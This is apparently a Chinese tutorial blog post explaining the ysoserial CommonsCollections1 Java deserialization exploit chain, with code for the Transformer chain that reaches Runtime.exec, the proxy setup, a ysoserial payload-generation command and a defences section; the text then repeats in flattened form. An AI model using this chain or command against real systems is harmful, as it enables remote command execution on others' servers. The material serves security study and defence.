java反序列化学习-ysoserial-CommonsCollections1
字数 1812 2025-08-10 20:35:54

Java反序列化漏洞分析:CommonsCollections1利用链详解

一、漏洞背景

Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的集合类和工具。在3.1版本中,由于某些类的设计缺陷,导致存在反序列化漏洞,攻击者可以通过构造特殊的序列化数据在目标系统上执行任意代码。

二、漏洞依赖

  • 受影响版本:commons-collections 3.1
  • Java版本限制:需要满足isApplicableJavaVersion()条件(通常Java 7及以下版本)

三、核心组件分析

1. Transformer接口及其实现类

Transformer是Commons Collections中的一个核心接口,定义了一个transform()方法:

public interface Transformer {
    Object transform(Object input);
}

关键实现类:

1.1 ConstantTransformer

public class ConstantTransformer implements Transformer {
    private final Object iConstant;
    
    public Object transform(Object input) {
        return iConstant;  // 总是返回构造时传入的常量
    }
}

1.2 InvokerTransformer

public class InvokerTransformer implements Transformer {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);  // 通过反射调用指定方法
    }
}

1.3 ChainedTransformer

public class ChainedTransformer implements Transformer {
    private final Transformer[] iTransformers;
    
    public Object transform(Object object) {
        for (Transformer transformer : iTransformers) {
            object = transformer.transform(object);  // 链式调用多个Transformer
        }
        return object;
    }
}

2. LazyMap类

public class LazyMap extends AbstractMapDecorator {
    protected final Transformer factory;
    
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = factory.transform(key);  // 关键点:调用Transformer
            super.map.put(key, value);
            return value;
        }
        return super.map.get(key);
    }
}

3. AnnotationInvocationHandler类

sun.reflect.annotation.AnnotationInvocationHandler是Java内置的动态代理类:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    
    public Object invoke(Object proxy, Method method, Object[] args) {
        // 当代理对象方法被调用时会执行此方法
        String member = method.getName();
        if (member.equals("toString")) { /*...*/ }
        else if (member.equals("hashCode")) { /*...*/ }
        else if (member.equals("annotationType")) { /*...*/ }
        else if (member.equals("equals")) { /*...*/ }
        Object result = memberValues.get(member);  // 关键点:调用Map的get方法
        // ...
    }
    
    private void readObject(ObjectInputStream var1) {
        var1.defaultReadObject();
        // 反序列化时会触发entrySet()等方法的调用
        AnnotationType var2 = AnnotationType.getInstance(this.type);
        Iterator var4 = this.memberValues.entrySet().iterator();
        // ...
    }
}

四、漏洞利用链分析

1. 利用链构建过程

  1. 构造Transformer链

    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class}, 
            new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class}, 
            new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[] {String.class}, 
            execArgs),
        new ConstantTransformer(1)
    };
    
  2. 创建LazyMap

    Map innerMap = new HashMap();
    Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
  3. 创建动态代理

    Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    
  4. 设置实际Transformer链

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    

2. 完整利用链

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> memberValues.entrySet().iterator()  // 代理对象方法调用
      -> AnnotationInvocationHandler.invoke()
        -> memberValues.get()  // 调用LazyMap的get方法
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> ConstantTransformer.transform()  // 返回Runtime.class
              -> InvokerTransformer.transform()  // 调用getMethod("getRuntime")
              -> InvokerTransformer.transform()  // 调用invoke(null)
              -> InvokerTransformer.transform()  // 调用exec(command)

五、关键点详解

1. Transformer链执行流程

  1. ConstantTransformer(Runtime.class).transform() → 返回Runtime.class
  2. InvokerTransformer("getMethod").transform(Runtime.class) → 相当于调用Runtime.class.getMethod("getRuntime")
  3. InvokerTransformer("invoke").transform(Method) → 相当于调用method.invoke(null)获取Runtime实例
  4. InvokerTransformer("exec").transform(Runtime) → 相当于调用Runtime.getRuntime().exec(command)

2. 动态代理机制

通过Proxy.newProxyInstance()创建代理对象时,任何对代理对象方法的调用都会先进入InvocationHandler.invoke()方法。在漏洞利用中:

  1. 创建AnnotationInvocationHandler作为InvocationHandler
  2. LazyMap设置为memberValues
  3. 当反序列化过程中调用entrySet()等方法时,会触发代理机制,最终调用LazyMap.get()

3. 延迟执行技巧

初始构造ChainedTransformer时只包含无害的ConstantTransformer(1),在对象构造完成后再通过反射将实际的恶意Transformer链设置进去。这样可以避免在构造过程中就执行恶意代码。

六、防御措施

  1. 升级Commons Collections

    • 升级到3.2.2或更高版本
    • 使用SerializationKiller等安全补丁
  2. Java安全配置

    • 使用ObjectInputFilter限制反序列化的类
    • 配置java.security.manager
  3. 代码层面

    • 避免直接反序列化不可信数据
    • 使用白名单验证反序列化对象

七、漏洞验证

使用ysoserial生成payload:

java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

发送payload到目标系统进行反序列化,如果漏洞存在则会执行指定命令。

八、总结

CommonsCollections1利用链通过精心构造的Transformer链,结合LazyMap的延迟计算特性和Java动态代理机制,在反序列化过程中实现了任意命令执行。理解这个漏洞需要掌握:

  1. Java反序列化机制
  2. Commons Collections的Transformer设计
  3. Java动态代理工作原理
  4. 反射机制的使用

该漏洞是Java反序列化漏洞的经典案例,后续许多反序列化漏洞的利用思路都与此类似。

Java反序列化漏洞分析:CommonsCollections1利用链详解 一、漏洞背景 Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的集合类和工具。在3.1版本中,由于某些类的设计缺陷,导致存在反序列化漏洞,攻击者可以通过构造特殊的序列化数据在目标系统上执行任意代码。 二、漏洞依赖 受影响版本:commons-collections 3.1 Java版本限制:需要满足 isApplicableJavaVersion() 条件(通常Java 7及以下版本) 三、核心组件分析 1. Transformer接口及其实现类 Transformer是Commons Collections中的一个核心接口,定义了一个 transform() 方法: 关键实现类: 1.1 ConstantTransformer 1.2 InvokerTransformer 1.3 ChainedTransformer 2. LazyMap类 3. AnnotationInvocationHandler类 sun.reflect.annotation.AnnotationInvocationHandler 是Java内置的动态代理类: 四、漏洞利用链分析 1. 利用链构建过程 构造Transformer链 : 创建LazyMap : 创建动态代理 : 设置实际Transformer链 : 2. 完整利用链 五、关键点详解 1. Transformer链执行流程 ConstantTransformer(Runtime.class).transform() → 返回 Runtime.class InvokerTransformer("getMethod").transform(Runtime.class) → 相当于调用 Runtime.class.getMethod("getRuntime") InvokerTransformer("invoke").transform(Method) → 相当于调用 method.invoke(null) 获取Runtime实例 InvokerTransformer("exec").transform(Runtime) → 相当于调用 Runtime.getRuntime().exec(command) 2. 动态代理机制 通过 Proxy.newProxyInstance() 创建代理对象时,任何对代理对象方法的调用都会先进入 InvocationHandler.invoke() 方法。在漏洞利用中: 创建 AnnotationInvocationHandler 作为 InvocationHandler 将 LazyMap 设置为 memberValues 当反序列化过程中调用 entrySet() 等方法时,会触发代理机制,最终调用 LazyMap.get() 3. 延迟执行技巧 初始构造 ChainedTransformer 时只包含无害的 ConstantTransformer(1) ,在对象构造完成后再通过反射将实际的恶意Transformer链设置进去。这样可以避免在构造过程中就执行恶意代码。 六、防御措施 升级Commons Collections : 升级到3.2.2或更高版本 使用 SerializationKiller 等安全补丁 Java安全配置 : 使用 ObjectInputFilter 限制反序列化的类 配置 java.security.manager 代码层面 : 避免直接反序列化不可信数据 使用白名单验证反序列化对象 七、漏洞验证 使用ysoserial生成payload: 发送payload到目标系统进行反序列化,如果漏洞存在则会执行指定命令。 八、总结 CommonsCollections1利用链通过精心构造的Transformer链,结合LazyMap的延迟计算特性和Java动态代理机制,在反序列化过程中实现了任意命令执行。理解这个漏洞需要掌握: Java反序列化机制 Commons Collections的Transformer设计 Java动态代理工作原理 反射机制的使用 该漏洞是Java反序列化漏洞的经典案例,后续许多反序列化漏洞的利用思路都与此类似。